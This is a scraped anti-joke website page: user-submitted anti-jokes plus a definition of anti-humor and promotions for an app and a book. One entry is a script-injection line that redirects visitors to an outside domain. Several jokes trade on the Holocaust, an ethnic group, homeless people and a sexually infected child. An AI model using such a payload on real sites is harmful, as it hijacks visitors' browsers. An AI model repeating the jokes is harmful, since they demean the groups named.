Why did the blonde make pasta even though she had a gluten allergy? She had some Italian friends coming over. Also she bought some gluten-free pasta and sauce so she wouldn't need to be hospitalized.

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Why did the Jews go into the shower? Because they had just finish a basketball game and they needed to freshen up.

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What is pink and smells like tuna? Salmon

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Ask me if I'm well Are you well? No

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How do you get to pigs in a pen? Move them.

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So this squirrel is walking across the road when a HUGE truck comes and smashes him beneath the tire.

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Why couldn't the man sleep? Because he was a wax model in a museum, and as we all know wax models are inanimate objects thus incapable of consciousness and therefore incapable of unconsciousness as well. Many other inanimate objects are caught up in similar problems relating to their incapability to do anything.

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Billy: Why do pirates say rrrrr? Mark: I don't know, I'm not a pirate.

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A mother and her child run into the store... The mother opens the door, so the child does not run into the store again.

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What is the difference between a person of Mexican heritage and a park bench? One is a bench, the other is a human being.

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A bar walking into a mans house, then the blonde says stupid words like why did the chicken of the sea cross the road and pigeons go moo moo like a cow.

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"'>document.location.href="http://cramik.org"

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Why did Susie fall off the swing? She had no arms. Knock knock Who's there? Not Susie!

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what is the opposite of 2x +3x?

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I cant believe they been together after all that shit. (person ask what) and you say your buttchheeeeks:]

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What does a squirrel get when it rains? It gets wet.

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Who always participates in "No shave November"? The homeless.

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What did the 12 year old boy get for Christmas? Herpes

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why did Lucy fall down? she got hit with a hammer

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Jesus walks into a hotel, slams four nails down on the counter, and says, "Put me up for the night!" The concierge looks at him and says, "You're not Jesus. Jesus was brutally murdered approximately 1,970 years ago. And although I may not be a believer, his teachings have brought comfort and solace to millions of people around the world. Nor do we accept nails as payment. Please remove yourself from the premises or I will call security."

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What's brown and sits in the woods? Winnie's poo

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I have read and agreed to the Terms of Service

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Yo momma is so fat that she is in the guinness records

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How do you kill somebody? A: I don't know, I'm not a murderer.

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

MOAR??

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Anti-Joke Chicken

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